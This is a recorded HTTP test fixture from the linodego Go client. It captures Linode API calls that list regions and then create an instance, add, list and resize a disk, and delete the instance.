{"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "fr-mrs-edge-1", "label": "Edge - Marseille, FR", "country": "fr", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "za-jnb-edge-1", "label": "Edge - Johannesburg, ZA\t", "country": "za", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "my-kul-edge-1", "label": "Edge - Kuala Lumpur, MY", "country": "my", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "co-bog-edge-1", "label": "Edge - Bogot\u00e1, CO", "country": "co", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "mx-qro-edge-1", "label": "Edge - Quer\u00e9taro, MX", "country": "mx", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-hou-edge-1", "label": "Edge - Houston, TX", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "cl-scl-edge-1", "label": "Edge - Santiago, CL", "country": "cl", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 34}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:40:14 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-66g8e36xgr4g","firewall_id":692834,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 61874057, "label": "go-test-ins-wo-disk-66g8e36xgr4g", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.40.58"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "d946738609b866787b882e81aabef414a072050a", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "806" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:40:15 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-27l1s5u7rcv7","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874057/configs method: POST response: body: '{"id": 65094523, "label": "go-test-conf-27l1s5u7rcv7", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": false, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "540" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:40:15 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874057 method: GET response: body: '{"id": 61874057, "label": "go-test-ins-wo-disk-66g8e36xgr4g", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.40.58"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "d946738609b866787b882e81aabef414a072050a", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "822" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:40:30 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874057 method: GET response: body: '{"id": 61874057, "label": "go-test-ins-wo-disk-66g8e36xgr4g", "group": "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.40.58"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "d946738609b866787b882e81aabef414a072050a", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "817" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:40:45 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"disk-test-r3yx4b71b5g0","size":2000,"filesystem":"ext4"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874057/disks method: POST response: body: '{"id": 121423259, "status": "not ready", "label": "disk-test-r3yx4b71b5g0", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "ext4", "size": 2000}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "179" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:40:45 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874057/disks?page=1 method: GET response: body: '{"data": [{"id": 121423259, "status": "ready", "label": "disk-test-r3yx4b71b5g0", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "ext4", "size": 2000}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "224" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:41:00 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"size":4000}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874057/disks/121423259/resize method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:41:00 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874057 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:41:01 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestInstance_Disks_List.yaml000066400000000000000000000650001474652371000322050ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 